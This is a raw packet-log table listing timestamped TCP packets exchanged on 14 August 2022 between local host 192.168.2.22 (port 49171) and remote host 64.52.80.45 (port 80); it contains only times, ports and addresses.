Aug 14, 2022 08:39:19.619157076 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.619174957 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.619206905 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.621609926 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.772519112 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.772553921 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.772572041 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.772588968 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.772686958 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.772694111 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.772703886 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.772725105 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.772736073 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773006916 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773029089 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773068905 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773138046 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773154974 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773179054 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773192883 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773335934 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773376942 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773380041 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773411036 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773596048 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773614883 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773644924 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773660898 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773797989 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773814917 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.773839951 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.773854971 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774044037 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774061918 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774094105 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774283886 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774302006 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774329901 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774343967 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774482965 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774499893 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774523973 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774538040 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774696112 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774739027 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774739027 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774770021 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774909019 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774954081 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.774955034 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.774986029 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775172949 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775191069 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775217056 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775233984 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775413990 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775434017 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775463104 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775474072 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775676012 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775696039 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775724888 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775738001 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775820017 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775876045 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.775897980 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.775938034 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.776025057 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.776057005 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.776066065 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.776092052 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.912167072 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.067027092 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.067071915 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.067100048 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.067127943 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.067153931 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.067182064 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.067209959 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.067236900 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.067240000 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069622040 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069647074 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069664955 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069680929 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069696903 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069700003 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069717884 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069734097 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069749117 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069751978 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069755077 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069768906 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069781065 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069785118 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069786072 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069802999 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069813967 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069818974 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069819927 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069838047 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069842100 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069854975 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069869041 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069870949 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069873095 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069888115 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069905043 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069905996 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069911957 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069921017 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069931984 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069940090 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069957018 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069957018 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069962025 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069976091 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069989920 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.069993973 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.069994926 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070010900 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070022106 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070028067 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070030928 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070039988 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070046902 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070049047 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070066929 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070082903 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070086956 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070097923 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070102930 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070183039 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070183992 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070199966 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070262909 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070281982 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070349932 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070393085 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070395947 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070432901 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070611000 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070627928 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070664883 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070673943 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070791006 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070808887 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.070832968 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070841074 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.070995092 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071042061 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071074963 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071115017 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071269989 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071286917 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071312904 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071324110 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071587086 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071604967 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071638107 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071646929 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071696997 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071748018 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.071773052 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.071824074 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.224745989 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.224776983 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.224792957 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.224806070 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.224950075 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.224952936 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.224973917 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.224998951 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225013971 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225162983 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225183010 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225219011 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225227118 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225455999 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225476027 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225501060 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225514889 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225599051 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225632906 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225645065 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225681067 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225841045 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225860119 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.225894928 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.225903988 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226084948 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226104021 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226135969 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226146936 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226296902 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226315975 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226340055 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226349115 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226535082 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226553917 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226581097 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226593971 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226717949 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226737022 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226773024 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226783037 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226934910 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226954937 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.226980925 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.226993084 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227154970 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227195024 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227206945 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227251053 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227399111 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227418900 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227449894 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227461100 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227615118 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227662086 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227689028 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227849960 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.227885008 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227904081 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.227937937 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228048086 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228082895 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228085995 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228095055 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228125095 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228301048 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228319883 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228355885 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228363991 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228492022 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228527069 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228543043 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228562117 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228738070 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228758097 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228795052 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228804111 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228951931 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.228952885 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.228971004 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229007006 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229016066 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229172945 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229207993 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229219913 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229255915 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229461908 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229482889 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229521036 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229528904 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229587078 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229610920 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229645967 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.229649067 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229686022 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.229775906 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.379636049 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.379664898 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.379683018 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.379702091 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.379816055 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.379822016 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.379843950 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.379853964 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.379875898 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.380033016 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.380053043 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.380079031 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.380095959 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.383934021 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.383961916 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384031057 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384057045 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384095907 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384108067 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384147882 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384392023 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384435892 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384447098 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384468079 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384696007 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384715080 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384735107 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384757042 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.384949923 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384968042 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.384995937 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385016918 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385143042 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385162115 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385180950 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385195971 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385334969 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385354042 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385373116 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385385036 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385401964 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385418892 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385437012 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385437965 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385448933 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385456085 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385467052 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385473967 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385481119 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385494947 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385510921 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385513067 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385524035 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385533094 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385538101 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385565042 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385591030 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385622025 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385654926 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385687113 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385720015 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385867119 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385914087 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.385934114 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.385976076 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386082888 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386121988 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386140108 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386173964 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386329889 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386369944 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386389017 CEST	80	49171	64.52.80.45	192.168.2.22
